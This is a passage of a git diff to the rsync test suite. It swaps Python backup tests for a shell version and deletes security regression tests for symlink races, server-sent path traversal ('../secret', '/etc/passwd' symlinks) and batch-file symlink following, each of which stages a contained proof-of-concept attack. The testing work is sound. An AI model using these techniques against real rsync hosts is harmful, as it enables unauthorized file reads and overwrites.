BACKUP_DIR/incremental/$name\n-idir0 = incr / '0'                                  # the two rotating slots\n-idir1 = incr / '1'\n-exclude_file = base / 'backup_excludes'\n-exclude_file.write_text(\"*.tmp\\n\")\n-\n-\n-def make_sparse(path, size=128 * 1024):\n-    \"\"\"A sparse file: a head, a hole, then a tail.\"\"\"\n-    with open(path, 'wb') as f:\n-        f.write(b'SPARSE-HEAD\\n')\n-        f.seek(size - 4)\n-        f.write(b'END\\n')\n-\n-\n-def build_src():\n-    rmtree(src)\n-    makepath(src / 'sub')\n-    make_text_file(src / 'file_a', lines=40)\n-    make_data_file(src / 'file_b', 8192)\n-    make_text_file(src / 'sub' / 'file_c', lines=30)\n-    make_data_file(src / 'sub' / 'file_d', 8192)\n-    os.symlink('file_a', src / 'link')\n-    make_sparse(src / 'sparse')\n-\n-\n-def is_empty(d):\n-    return not any(d.iterdir())\n-\n-\n-def backup_run(idir):\n-    \"\"\"One incremental backup, mirroring the script's backup_one().\"\"\"\n-    rmtree(idir)            # script: rm -rf $IDIR\n-    makepath(idir)          # script: mkdir -p $IDIR\n-    makepath(mirror)        # script: mkdir -p $BACKUP_DIR/$name\n-    run_rsync('-a', '--sparse', f'--exclude-from={exclude_file}',\n-              '--delete', '--delete-excluded',\n-              '--backup', f'--backup-dir={idir}',\n-              f'{src}/', f'{mirror}/')\n-\n-\n-# --- Phase 1: initial full backup into slot 0 -------------------------------\n-build_src()\n-backup_run(idir0)\n-assert_trees_equal(src, mirror, label='phase1 mirror')\n-if not is_empty(idir0):\n-    test_fail(f\"phase1: backup dir {idir0} is not empty after the first run \"\n-              f\"(nothing should have been backed up): \"\n-              f\"{[p.name for p in idir0.iterdir()]}\")\n-\n-# --- Phase 2: mutate the source, second backup into slot 1 ------------------\n-# Capture the about-to-change mirror contents (what --backup must preserve).\n-old_b = (mirror / 'file_b').read_bytes()\n-old_c = (mirror / 'sub' / 'file_c').read_bytes()\n-\n-make_data_file(src / 'file_b', 9000)            # overwrite (content changes)\n-(src / 'sub' / 'file_c').unlink()               # delete from source -> --delete\n-make_text_file(src / 'newfile', lines=10)       # brand-new file\n-# file_a is left unchanged on purpose.\n-stale = b\"STALE-EXCLUDED-CONTENT\\n\"\n-(mirror / 'stale.tmp').write_bytes(stale)       # excluded file already in mirror\n-\n-backup_run(idir1)\n-\n-assert_trees_equal(src, mirror, label='phase2 mirror')\n-\n-if (idir1 / 'file_b').read_bytes() != old_b:\n-    test_fail(\"phase2: overwritten file_b was not backed up with its old content \"\n-              f\"into {idir1}/file_b\")\n-if (idir1 / 'sub' / 'file_c').read_bytes() != old_c:\n-    test_fail(\"phase2: deleted sub/file_c was not backed up at its relative path \"\n-              f\"into {idir1}/sub/file_c\")\n-if not (idir1 / 'stale.tmp').exists() or (idir1 / 'stale.tmp').read_bytes() != stale:\n-    test_fail(\"phase2: --delete-excluded removal of stale.tmp was not captured by \"\n-              f\"--backup into {idir1}/stale.tmp\")\n-assert_not_exists(idir1 / 'newfile', label='phase2: new file must not be backed up')\n-assert_not_exists(idir1 / 'file_a', label='phase2: unchanged file must not be backed up')\n-if not is_empty(idir0):\n-    test_fail(f\"phase2: the previous slot {idir0} was disturbed by this run \"\n-              \"(each run's backup dir must be independent)\")\n-\n-# --- Phase 3: no-op third run, rotating back to slot 0 ----------------------\n-backup_run(idir0)\n-assert_trees_equal(src, mirror, label='phase3 mirror')\n-if not is_empty(idir0):\n-    test_fail(f\"phase3: a no-change run backed something up into {idir0}: \"\n-              f\"{[p.name for p in idir0.iterdir()]}\")\n-\n-print(\"incremental --backup/--backup-dir round-trip: mirror tracks source and \"\n-      \"each run's backup dir captures exactly the overwritten/deleted files\")\ndiff --git a/testsuite/backup.test b/testsuite/backup.test\nnew file mode 100644\nindex 0000000..4de3867\n--- /dev/null\n+++ b/testsuite/backup.test\n@@ -0,0 +1,63 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2004-2022 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that the --backup option works right.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+bakdir=\"$tmpdir/bak\"\n+\n+makepath \"$fromdir/deep\" \"$bakdir/dname\"\n+name1=\"$fromdir/deep/name1\"\n+name2=\"$fromdir/deep/name2\"\n+\n+cat \"$srcdir\"/[gr]*.[ch] > \"$name1\"\n+cat \"$srcdir\"/[et]*.[ch] > \"$name2\"\n+\n+checkit \"$RSYNC -ai --info=backup '$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\"\n+\n+checkit \"$RSYNC -ai --info=backup '$fromdir/' '$chkdir/'\" \"$fromdir\" \"$chkdir\"\n+cat \"$srcdir\"/[fgpr]*.[ch] > \"$name1\"\n+cat \"$srcdir\"/[etw]*.[ch] > \"$name2\"\n+\n+checktee \"$RSYNC -ai --info=backup --no-whole-file --backup '$fromdir/' '$todir/'\"\n+for fn in deep/name1 deep/name2; do\n+    grep \"backed up $fn to $fn~\" \"$outfile\" >/dev/null || test_fail \"no backup message output for $fn\"\n+    diff $diffopt \"$fromdir/$fn\" \"$todir/$fn\" || test_fail \"copy of $fn failed\"\n+    diff $diffopt \"$chkdir/$fn\" \"$todir/$fn~\" || test_fail \"backup of $fn to $fn~ failed\"\n+    mv \"$todir/$fn~\" \"$todir/$fn\"\n+done\n+\n+echo deleted-file >\"$todir/dname\"\n+cp_touch \"$todir/dname\" \"$chkdir\"\n+\n+checkit \"$RSYNC -ai --info=backup --no-whole-file --delete-delay \\\n+    --backup --backup-dir='$bakdir' '$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\" \\\n+    | tee \"$outfile\"\n+\n+for fn in deep/name1 deep/name2; do\n+    grep \"backed up $fn to .*/$fn$\" \"$outfile\" >/dev/null || test_fail \"no backup message output for $fn\"\n+done\n+diff -r $diffopt \"$chkdir\" \"$bakdir\" || test_fail \"backup dir contents are bogus\"\n+rm \"$bakdir/dname\"\n+\n+checkit \"$RSYNC -ai --info=backup --del '$fromdir/' '$chkdir/'\" \"$fromdir\" \"$chkdir\"\n+cat \"$srcdir\"/[efgr]*.[ch] > \"$name1\"\n+cat \"$srcdir\"/[ew]*.[ch] > \"$name2\"\n+\n+checkit \"$RSYNC -ai --info=backup --inplace --no-whole-file --backup --backup-dir='$bakdir' '$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\" \\\n+    | tee \"$outfile\"\n+\n+for fn in deep/name1 deep/name2; do\n+    grep \"backed up $fn to .*/$fn$\" \"$outfile\" >/dev/null || test_fail \"no backup message output for $fn\"\n+done\n+diff -r $diffopt \"$chkdir\" \"$bakdir\" || test_fail \"backup dir contents are bogus\"\n+\n+checkit \"$RSYNC -ai --info=backup --inplace --no-whole-file '$fromdir/' '$bakdir/'\" \"$fromdir\" \"$bakdir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/backup_test.py b/testsuite/backup_test.py\ndeleted file mode 100644\nindex eb2e3c5..0000000\n--- a/testsuite/backup_test.py\n+++ /dev/null\n@@ -1,133 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/backup.test.\n-#\n-# Walk through --backup behaviour:\n-#   * a plain backup leaves the old file at name~ alongside the new one,\n-#   * --backup-dir relocates the old file into a parallel tree and also\n-#     captures deletions when used with --delete-delay,\n-#   * --backup --inplace --backup-dir handles delta-overwrites too.\n-# Each phase also confirms the destination ends up matching the source via\n-# the usual checkit listing+content diff.\n-\n-import os\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, OUTFILE, SRCDIR, TMPDIR, TODIR,\n-    checkit, cp_touch, makepath, rsync_argv, test_fail, verify_dirs,\n-)\n-\n-\n-bakdir = TMPDIR / 'bak'\n-\n-makepath(FROMDIR / 'deep', bakdir / 'dname')\n-name1 = FROMDIR / 'deep' / 'name1'\n-name2 = FROMDIR / 'deep' / 'name2'\n-\n-\n-def _cat_glob(pattern: str, dest):\n-    \"\"\"Concatenate every srcdir file matching `pattern` into `dest`.\n-\n-    Mirrors `cat \"$srcdir\"/[abc]*.[ch] > \"$dest\"`.\n-    \"\"\"\n-    chunks = bytearray()\n-    for f in sorted(SRCDIR.glob(pattern)):\n-        chunks.extend(f.read_bytes())\n-    dest.write_bytes(bytes(chunks))\n-\n-\n-_cat_glob('[gr]*.[ch]', name1)\n-_cat_glob('[et]*.[ch]', name2)\n-\n-# Establish baseline destination and chk copies of the source.\n-checkit(['-ai', '--info=backup', f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\n-checkit(['-ai', '--info=backup', f'{FROMDIR}/', f'{CHKDIR}/'], FROMDIR, CHKDIR)\n-\n-# Mutate the source files; delta-transfer will need to back up the old\n-# contents at $todir/$fn~ before overwriting in place.\n-_cat_glob('[fgpr]*.[ch]', name1)\n-_cat_glob('[etw]*.[ch]', name2)\n-\n-\n-def _run_and_capture(args, outfile):\n-    proc = subprocess.run(rsync_argv(*args), capture_output=True, text=True)\n-    outfile.write_text(proc.stdout)\n-    print(proc.stdout, end='')\n-    if proc.returncode != 0:\n-        test_fail(f\"rsync exited {proc.returncode}\")\n-    return proc\n-\n-\n-_run_and_capture(\n-    ['-ai', '--info=backup', '--no-whole-file', '--backup',\n-     f'{FROMDIR}/', f'{TODIR}/'],\n-    OUTFILE,\n-)\n-text = OUTFILE.read_text()\n-for fn in ('deep/name1', 'deep/name2'):\n-    if f\"backed up {fn} to {fn}~\" not in text:\n-        test_fail(f\"no backup message output for {fn}\")\n-    diff = subprocess.run(['diff', '-u', str(FROMDIR / fn), str(TODIR / fn)])\n-    if diff.returncode != 0:\n-        test_fail(f\"copy of {fn} failed\")\n-    diff = subprocess.run(['diff', '-u', str(CHKDIR / fn), str(TODIR / f'{fn}~')])\n-    if diff.returncode != 0:\n-        test_fail(f\"backup of {fn} to {fn}~ failed\")\n-    shutil.move(str(TODIR / f'{fn}~'), str(TODIR / fn))\n-\n-\n-# --backup-dir + --delete-delay: a deletion at the dest gets routed into\n-# the backup dir rather than being lost.\n-(TODIR / 'dname').write_text(\"deleted-file\\n\")\n-cp_touch(TODIR / 'dname', CHKDIR)\n-\n-_run_and_capture(\n-    ['-ai', '--info=backup', '--no-whole-file', '--delete-delay',\n-     '--backup', f'--backup-dir={bakdir}',\n-     f'{FROMDIR}/', f'{TODIR}/'],\n-    OUTFILE,\n-)\n-# After the run, FROMDIR and TODIR should match (the backup ran into\n-# bakdir, not into chkdir, so chkdir must NOT be touched -- it still\n-# holds the pre-rsync contents that we'll compare against bakdir below).\n-verify_dirs(FROMDIR, TODIR, label=\"post --backup-dir run\")\n-\n-text = OUTFILE.read_text()\n-import re\n-for fn in ('deep/name1', 'deep/name2'):\n-    if not re.search(rf\"backed up {re.escape(fn)} to .*/{re.escape(fn)}$\",\n-                     text, flags=re.MULTILINE):\n-        test_fail(f\"no backup message output for {fn}\")\n-diff = subprocess.run(['diff', '-r', '-u', str(CHKDIR), str(bakdir)])\n-if diff.returncode != 0:\n-    test_fail(\"backup dir contents are bogus\")\n-(bakdir / 'dname').unlink()\n-\n-\n-# Re-establish chk and mutate source again for the --inplace pass.\n-checkit(['-ai', '--info=backup', '--del', f'{FROMDIR}/', f'{CHKDIR}/'],\n-        FROMDIR, CHKDIR)\n-_cat_glob('[efgr]*.[ch]', name1)\n-_cat_glob('[ew]*.[ch]', name2)\n-\n-_run_and_capture(\n-    ['-ai', '--info=backup', '--inplace', '--no-whole-file',\n-     '--backup', f'--backup-dir={bakdir}',\n-     f'{FROMDIR}/', f'{TODIR}/'],\n-    OUTFILE,\n-)\n-verify_dirs(FROMDIR, TODIR, label=\"post --inplace --backup-dir run\")\n-\n-text = OUTFILE.read_text()\n-for fn in ('deep/name1', 'deep/name2'):\n-    if not re.search(rf\"backed up {re.escape(fn)} to .*/{re.escape(fn)}$\",\n-                     text, flags=re.MULTILINE):\n-        test_fail(f\"no backup message output for {fn}\")\n-diff = subprocess.run(['diff', '-r', '-u', str(CHKDIR), str(bakdir)])\n-if diff.returncode != 0:\n-    test_fail(\"backup dir contents are bogus\")\n-\n-# Final clean inplace sync to the bakdir so it ends up matching fromdir.\n-checkit(['-ai', '--info=backup', '--inplace', '--no-whole-file',\n-         f'{FROMDIR}/', f'{bakdir}/'], FROMDIR, bakdir)\ndiff --git a/testsuite/bare-do-open-symlink-race_test.py b/testsuite/bare-do-open-symlink-race_test.py\ndeleted file mode 100644\nindex f3fc2d5..0000000\n--- a/testsuite/bare-do-open-symlink-race_test.py\n+++ /dev/null\n@@ -1,156 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/bare-do-open-symlink-race.test.\n-#\n-# Codex audit Findings 3b, 3c-symlink and 3c-mknod: bare do_open /\n-# do_symlink / do_mknod paths on the receiver follow parent symlinks\n-# unrestrictedly.  Three scenarios are exercised; each must leave the\n-# outside-the-module sentinel unchanged.\n-\n-import filecmp\n-import os\n-import shutil\n-import stat\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR,\n-    get_rootgid, get_rootuid, get_testuid,\n-    rmtree, rsync_argv, start_test_daemon, test_fail, test_skipped,\n-)\n-\n-\n-DAEMON_PORT = 12884\n-\n-\n-mod = SCRATCHDIR / 'module'\n-outside = SCRATCHDIR / 'outside'\n-src = SCRATCHDIR / 'src_files'\n-conf = SCRATCHDIR / 'test-rsyncd.conf'\n-outside_pristine = SCRATCHDIR / 'outside-pristine.txt'\n-\n-\n-def setup():\n-    for d in (mod, outside, src):\n-        rmtree(d)\n-        d.mkdir(parents=True)\n-    (outside / 'target.txt').write_text(\"OUTSIDE_PROTECTED_DATA\\n\")\n-    os.chmod(outside / 'target.txt', 0o644)\n-    shutil.copy2(outside / 'target.txt', outside_pristine)\n-    os.symlink(str(outside), mod / 'cd')\n-\n-\n-def verify_outside_unchanged(label: str) -> None:\n-    mode = (outside / 'target.txt').stat().st_mode & 0o777\n-    if mode != 0o644:\n-        test_fail(f\"{label}: outside/target.txt mode changed from 644 to {oct(mode)[2:]}\")\n-    if not filecmp.cmp(outside / 'target.txt', outside_pristine, shallow=False):\n-        test_fail(f\"{label}: outside/target.txt content changed -- daemon followed the cd symlink\")\n-\n-\n-def verify_outside_unchanged_or_absent(label: str, target: str) -> None:\n-    if (outside / target).exists() or (outside / target).is_symlink():\n-        test_fail(f\"{label}: outside/{target} was created -- daemon followed the cd symlink\")\n-\n-\n-my_uid = get_testuid()\n-root_uid = get_rootuid()\n-root_gid = get_rootgid()\n-uid_line = f\"uid = {root_uid}\"\n-gid_line = f\"gid = {root_gid}\"\n-if my_uid != root_uid:\n-    uid_line = '#' + uid_line\n-    gid_line = '#' + gid_line\n-\n-\n-# All three scenarios use the same daemon -- they just target a different\n-# module. Write both modules up-front so the daemon doesn't need to be\n-# restarted between scenarios.\n-conf.write_text(f\"\"\"\\\n-use chroot = no\n-{uid_line}\n-{gid_line}\n-log file = {SCRATCHDIR}/rsyncd.log\n-[upload]\n-    path = {mod}\n-    use chroot = no\n-    read only = no\n-\n-[upload_fake]\n-    path = {mod}\n-    use chroot = no\n-    read only = no\n-    fake super = yes\n-\"\"\")\n-daemon_url = start_test_daemon(conf, DAEMON_PORT).rstrip('/')\n-\n-\n-def run_attack(args):\n-    \"\"\"Run the (expected-to-be-contained) attack transfer and return its exit\n-    code; output is discarded since the security assertion is on the filesystem.\"\"\"\n-    return subprocess.run(\n-        rsync_argv(*args),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-    ).returncode\n-\n-\n-def positive_control():\n-    \"\"\"Confirm the upload module accepts an ordinary write. Without this, every\n-    scenario below would also pass if the daemon refused (or failed) before the\n-    vulnerable code ran -- the sentinel-unchanged check alone can't tell a\n-    securely-contained attack from one that never reached the receiver path.\"\"\"\n-    for d in (mod, src):\n-        rmtree(d)\n-        d.mkdir(parents=True)\n-    (src / 'legit.txt').write_text(\"LEGIT_IN_MODULE\\n\")\n-    rc = run_attack(['-t', f'{src}/legit.txt', f'{daemon_url}/upload/legit.txt'])\n-    if rc != 0 or not (mod / 'legit.txt').is_file() \\\n-            or (mod / 'legit.txt').read_text() != \"LEGIT_IN_MODULE\\n\":\n-        test_fail(f\"positive control: upload module did not accept a normal \"\n-                  f\"write (rc={rc}); attack scenarios would be vacuous\")\n-\n-\n-positive_control()\n-\n-\n-# Scenario 3b: --inplace --backup --backup-dir=cd\n-setup()\n-(mod / 'target.txt').write_text(\"EXISTING_MODULE_DATA\\n\")\n-os.chmod(mod / 'target.txt', 0o666)\n-(src / 'target.txt').write_text(\"NEW_DATA_FROM_SENDER\\n\")\n-os.chmod(src / 'target.txt', 0o644)\n-\n-rc = run_attack([\n-    '--inplace', '--backup', '--backup-dir=cd',\n-    f'{src}/target.txt', f'{daemon_url}/upload/target.txt',\n-])\n-if rc >= 128:\n-    test_fail(f\"3b inplace+backup-dir=cd: rsync died from a signal (rc={rc})\")\n-verify_outside_unchanged(\"3b inplace+backup-dir=cd\")\n-\n-\n-# Scenario 3c-symlink: fake-super symlink push, parent-symlinked path\n-setup()\n-(src / 'cd').mkdir()\n-os.symlink('/etc/passwd', src / 'cd' / 'sym')\n-\n-rc = run_attack(['-rl', f'{src}/', f'{daemon_url}/upload_fake/'])\n-if rc >= 128:\n-    test_fail(f\"3c-symlink: rsync died from a signal (rc={rc})\")\n-verify_outside_unchanged_or_absent(\"3c-symlink fake-super symlink push\", \"sym\")\n-\n-\n-# Scenario 3c-mknod: fake-super FIFO push, parent-symlinked path\n-setup()\n-(src / 'cd').mkdir()\n-try:\n-    os.mkfifo(src / 'cd' / 'fifo')\n-except OSError:\n-    test_skipped(\"mkfifo unavailable; cannot exercise 3c-mknod\")\n-\n-if not stat.S_ISFIFO((src / 'cd' / 'fifo').stat().st_mode):\n-    test_skipped(\"mkfifo unavailable; cannot exercise 3c-mknod\")\n-\n-rc = run_attack(['-rD', f'{src}/', f'{daemon_url}/upload_fake/'])\n-if rc >= 128:\n-    test_fail(f\"3c-mknod: rsync died from a signal (rc={rc})\")\n-verify_outside_unchanged_or_absent(\"3c-mknod fake-super FIFO push\", \"fifo\")\ndiff --git a/testsuite/basis-xname-traversal_test.py b/testsuite/basis-xname-traversal_test.py\ndeleted file mode 100644\nindex 1ab28c4..0000000\n--- a/testsuite/basis-xname-traversal_test.py\n+++ /dev/null\n@@ -1,146 +0,0 @@\n-#!/usr/bin/env python3\n-# Server-controlled alternate-basis xname must stay confined to the operator\n-# basedir on the client.  Reported by z3r0s (github z3r0s6), 2026-07.\n-#\n-# When the client pulls with an alt-dest flag (--link-dest / --copy-dest /\n-# --compare-dest, or --fuzzy), the sender sends an fnamecmp_type + xname naming\n-# which alternate basis the receiver should reconstruct against.  The receiver\n-# joins the wire-supplied xname to the operator's basedir (basis_dir[]) and\n-# opens it as the delta basis.  read_ndx_and_attrs() sanitized xname only when\n-# sanitize_paths was set (daemon side); a *client* receiver has\n-# sanitize_paths == 0, so a malicious server could send xname=\"../../etc/shadow\"\n-# and make the client open an out-of-tree file (client-side arbitrary-read /\n-# file-existence-oracle / FIFO-hang).  secure_basis_open()'s ownership walk does\n-# not stop this: it deliberately follows a plain \"..\" to a regular file (the\n-# legitimate --link-dest=../01 sibling, #915) and only refuses foreign-owned\n-# *symlink* components.  The fix sanitizes the wire xname itself (for basis\n-# types only, leaving the hard-link \"=> target\" xname alone).\n-#\n-# Test: build an instrumented rsync (env-gated sender.c edit that, when\n-# RSYNC_MAL_XNAME is set, injects ITEM_XNAME_FOLLOWS|ITEM_BASIS_TYPE_FOLLOWS +\n-# fnamecmp_type=FNAMECMP_FUZZY+1 (== basis_dir[0]) + xname onto each transfer).\n-# An env-gated receiver.c edit records the exact basedir and relpath passed to\n-# secure_basis_open().  This observes the security decision directly without\n-# relying on timing-sensitive FIFO rendezvous behaviour across operating systems.\n-\n-import os\n-import shlex\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, build_patched_rsync, forced_protocol, makepath, rmtree,\n-    rsync_argv, test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-# Gates ----------------------------------------------------------------------\n-# xname only exists in the protocol >= 29 item stream; below that\n-# write_ndx_and_attrs() returns before any flags/xname, so the injection can't\n-# cross the wire and the test would be vacuous.  (The fix is a no-op there.)\n-_proto = forced_protocol()\n-if _proto is not None and _proto < 29:\n-    test_skipped(\"basis-xname-traversal: xname/item flags need protocol >= 29\")\n-# -- Build the instrumented peer (shared helper: Cygwin skip, CCACHE_DISABLE,\n-#    forced rebuild of the patched unit) -------------------------------------\n-PATCH_OLD = (\"\\t\\twrite_ndx_and_attrs(f_out, ndx, iflags, fname, file, fnamecmp_type, xname, xlen);\\n\"\n-             \"\\t\\twrite_sum_head(f_xfer, s);\")\n-PATCH_NEW = (\"\\t\\tif (getenv(\\\"RSYNC_MAL_XNAME\\\")) { /* basis-xname-traversal PoC */\\n\"\n-             \"\\t\\t\\tiflags |= ITEM_XNAME_FOLLOWS | ITEM_BASIS_TYPE_FOLLOWS;\\n\"\n-             \"\\t\\t\\tfnamecmp_type = FNAMECMP_FUZZY + 1;\\n\"\n-             \"\\t\\t\\txlen = strlcpy(xname, getenv(\\\"RSYNC_MAL_XNAME\\\"), MAXPATHLEN);\\n\"\n-             \"\\t\\t}\\n\"\n-             \"\\t\\twrite_ndx_and_attrs(f_out, ndx, iflags, fname, file, fnamecmp_type, xname, xlen);\\n\"\n-             \"\\t\\twrite_sum_head(f_xfer, s);\")\n-TRACE_OLD = (\"static int secure_basis_open(const char *basedir, const char *relpath, int flags, mode_t mode)\\n\"\n-             \"{\\n\"\n-             \"\\textern int am_daemon, am_chrooted;\")\n-TRACE_NEW = (\"static int secure_basis_open(const char *basedir, const char *relpath, int flags, mode_t mode)\\n\"\n-             \"{\\n\"\n-             \"\\tconst char *trace_path = getenv(\\\"RSYNC_BASIS_TRACE\\\");\\n\"\n-             \"\\tif (trace_path) {\\n\"\n-             \"\\t\\tFILE *trace = fopen(trace_path, \\\"a\\\");\\n\"\n-             \"\\t\\tif (trace) {\\n\"\n-             \"\\t\\t\\tfprintf(trace, \\\"%s\\\\t%s\\\\n\\\", basedir ? basedir : \\\"\\\", relpath);\\n\"\n-             \"\\t\\t\\tfclose(trace);\\n\"\n-             \"\\t\\t}\\n\"\n-             \"\\t}\\n\"\n-             \"\\textern int am_daemon, am_chrooted;\")\n-mal_rsync = build_patched_rsync(\n-    'mal-xname-rsync',\n-    [('sender.c', PATCH_OLD, PATCH_NEW),\n-     ('receiver.c', TRACE_OLD, TRACE_NEW)],\n-)\n-\n-\n-# -- Workspace ----------------------------------------------------------------\n-#   base/serversrc/file    the file the instrumented daemon offers\n-#   base/linkdest/         the client's --link-dest (basis_dir[0])\n-#   base/linkdest/secret   where a sanitized \"secret\" resolves\n-#   base/secret            where an unsanitized \"../secret\" resolves\n-#   base/dest/             the client's destination\n-base = SCRATCHDIR / 'xname-race'\n-rmtree(base)\n-serversrc = base / 'serversrc'\n-linkdest = base / 'linkdest'\n-dest = base / 'dest'\n-escape = base / 'secret'                 # linkdest/../secret\n-decoy = linkdest / 'secret'              # linkdest/secret\n-trace_file = base / 'basis.trace'\n-makepath(serversrc)\n-makepath(linkdest)\n-makepath(dest)\n-(serversrc / 'file').write_text(\"from the server\\n\")\n-escape.write_text(\"escaped basis\\n\")\n-decoy.write_text(\"confined basis\\n\")\n-\n-conf = write_daemon_conf(\n-    [('m', {'path': str(serversrc), 'read only': 'yes', 'use chroot': 'no'})],\n-    name='mal-xname-rsyncd.conf')\n-os.environ['RSYNC_CONNECT_PROG'] = f'{shlex.quote(str(mal_rsync))} --config={shlex.quote(str(conf))} --daemon'\n-os.environ['RSYNC_MAL_XNAME'] = '../secret'  # from basis_dir[0] == linkdest\n-os.environ['RSYNC_BASIS_TRACE'] = str(trace_file)\n-try:\n-    argv = rsync_argv('-a', f'--link-dest={linkdest}',\n-                      'rsync://localhost/m/file', str(dest) + '/')\n-    argv[0] = str(mal_rsync)\n-    proc = subprocess.run(\n-        argv,\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=120)\n-finally:\n-    os.environ.pop('RSYNC_BASIS_TRACE', None)\n-    os.environ.pop('RSYNC_MAL_XNAME', None)\n-    os.environ.pop('RSYNC_CONNECT_PROG', None)\n-\n-\n-# -- Oracle -------------------------------------------------------------------\n-out_tail = '\\n'.join(proc.stdout.splitlines()[-20:])\n-trace = trace_file.read_text().splitlines() if trace_file.is_file() else []\n-escaped = f'{linkdest}\\t../secret'\n-confined = f'{linkdest}\\tsecret'\n-\n-if escaped in trace:\n-    test_fail(\n-        \"malicious server traversed the client's filesystem via the alt-dest \"\n-        f\"xname: the receiver attempted {escape} (one level above the --link-dest \"\n-        \"dir) as the delta basis.  A server-supplied xname of '../secret' was \"\n-        \"not sanitized on the client (sanitize_paths==0 off-daemon).  Fix: \"\n-        \"sanitize a basis-type xname in read_ndx_and_attrs().  Receiver output \"\n-        f\"tail:\\n{out_tail}\")\n-\n-# The trace proves the crafted xname reached the receiver and was confined to\n-# the basedir (sanitized \"../secret\" -> \"secret\" -> linkdest/secret).  Its\n-# absence means the injection never took effect (e.g. a stale patched build).\n-if confined not in trace:\n-    test_fail(\n-        \"the crafted xname never reached the receiver's confined basis open; \"\n-        \"the instrumented injection did not take effect, so this run is \"\n-        f\"vacuous. Trace={trace!r}. Receiver rc={proc.returncode}. \"\n-        f\"Output tail:\\n{out_tail}\")\n-\n-if proc.returncode != 0:\n-    test_fail(\n-        f\"xname confined to the basedir, but the pull failed (rc={proc.returncode}).  \"\n-        f\"Output tail:\\n{out_tail}\")\n-\n-print(\"basis-xname-traversal: receiver confined the server-supplied alt-dest \"\n-      \"xname to the --link-dest dir; '../secret' resolved to linkdest/secret, \"\n-      \"not the out-of-tree sibling.\")\ndiff --git a/testsuite/batch-file-symlink_test.py b/testsuite/batch-file-symlink_test.py\ndeleted file mode 100644\nindex d169152..0000000\n--- a/testsuite/batch-file-symlink_test.py\n+++ /dev/null\n@@ -1,219 +0,0 @@\n-#!/usr/bin/env python3\n-# --write-batch / --read-batch must not follow planted symlinks at\n-# attacker-controlled path components.\n-#\n-# Threat: batch.c:232,238,242 call\n-# do_open() (plain open() under the hood) without O_NOFOLLOW. Two attacks:\n-#\n-#   --write-batch: planted leaf symlink → root truncate+overwrite of an\n-#                  arbitrary file. Planted parent symlink → batch created\n-#                  inside an attacker-chosen dir.\n-#\n-#   --read-batch:  planted leaf symlink → rsync interprets attacker-chosen\n-#                  bytes as protocol data. Planted parent → same. Also: a\n-#                  planted FIFO/device at the read-batch path lets the\n-#                  attacker stream protocol bytes (the audit added a\n-#                  S_ISREG check on the opened fd as defense in depth).\n-#\n-# This test exercises both --write-batch variants (leaf and parent) where\n-# the leak signal is clear and direct: with the leak the victim file is\n-# truncated/overwritten or a new file appears under the planted parent;\n-# with the fix neither happens. --read-batch is covered by the same path-\n-# walk helper (the test for it would need a self-consistent batch payload\n-# to drive the receiver, which is excess machinery here).\n-#\n-# Requires root for the cross-uid plant; skips otherwise.\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid \"\n-                 \"(the attacker simulation)\")\n-\n-NOBODY_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name).pw_uid\n-        if u != 0 and u != os.geteuid():\n-            NOBODY_UID = u\n-            break\n-    except KeyError:\n-        continue\n-if NOBODY_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-\n-base = SCRATCHDIR / 'batch'\n-src = base / 'src'\n-dest = base / 'dest'\n-plants = base / 'plants'\n-\n-rmtree(base)\n-src.mkdir(parents=True)\n-(src / 'f').write_text(\"payload\\n\")\n-dest.mkdir(parents=True)\n-plants.mkdir(parents=True)\n-\n-\n-def run_write_batch(batch_plant_path):\n-    \"\"\"Run rsync with --write-batch=batch_plant_path. The actual transfer\n-    succeeds; we only care whether the batch open follows the planted symlink.\"\"\"\n-    # rsync writes both <name> and <name>.sh. Clean dest each run.\n-    rmtree(dest); dest.mkdir(parents=True)\n-    return subprocess.run(\n-        rsync_argv('-a', '--write-batch=' + str(batch_plant_path),\n-                   f'{src}/', f'{dest}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)\n-\n-\n-# ---------------------------------------------------------------------------\n-# LEAF plant — --write-batch path is a symlink to a victim file. Without the\n-# fix, the O_TRUNC|O_WRONLY|O_CREAT open truncates the victim and writes the\n-# batch data into it.\n-# ---------------------------------------------------------------------------\n-victim = plants / 'sentinel_leaf'\n-INITIAL_BYTES = b\"VICTIM_INITIAL_CONTENTS\\n\"\n-victim.write_bytes(INITIAL_BYTES)\n-os.chmod(victim, 0o600)\n-\n-leaf_plant = plants / 'write_batch_leaf'\n-os.symlink(victim, leaf_plant)\n-os.lchown(leaf_plant, NOBODY_UID, NOBODY_UID)\n-\n-run_write_batch(leaf_plant)\n-\n-# Read as bytes — rsync's batch data is binary protocol, not text.\n-leaf_after = victim.read_bytes()\n-if leaf_after != INITIAL_BYTES:\n-    test_fail(\n-        f\"--write-batch followed a planted LEAF symlink (owned by uid \"\n-        f\"{NOBODY_UID}): victim {victim} was truncated/overwritten by the \"\n-        f\"O_TRUNC open. {len(INITIAL_BYTES)} initial bytes replaced by \"\n-        f\"{len(leaf_after)} bytes of attacker-influenceable batch data. \"\n-        f\"Fix: refuse planted symlinks at --write-batch.\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# PARENT-component plant — 